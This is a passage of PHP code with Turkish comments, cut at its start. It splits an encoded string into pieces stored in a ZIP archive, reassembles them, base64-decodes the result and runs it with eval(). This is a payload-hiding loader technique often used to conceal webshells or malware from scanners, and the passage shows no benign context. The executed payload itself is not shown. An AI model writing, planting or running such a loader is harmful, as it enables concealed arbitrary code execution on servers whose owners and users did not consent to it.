open($zipDosyaAdi, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $parcaUzunlugu = ceil(strlen($encryptedStr) / $parcaSayisi); for ($i = 0; $i < $parcaSayisi; $i++) { $parca = substr($encryptedStr, $i * $parcaUzunlugu, $parcaUzunlugu); $zip->addFromString("part{$i}.txt", $parca); } $zip->close(); echo "ZIP oluşturuldu: $zipDosyaAdi
"; } else { die("ZIP oluşturulamadı!"); } // 2. ZIP içinden parçaları oku ve birleştir $decodedStr = ''; $zip = new ZipArchive(); if ($zip->open($zipDosyaAdi) === TRUE) { for ($i = 0; $i < $parcaSayisi; $i++) { $dosyaAdi = "part{$i}.txt"; $parca = $zip->getFromName($dosyaAdi); if ($parca === false) { die("Parça okunamadı: $dosyaAdi"); } $decodedStr .= $parca; } $zip->close(); } else { die("ZIP okunamadı!"); } // 3. Base64 çöz ve çalıştır $decoded = base64_decode($decodedStr); eval($decoded); ?>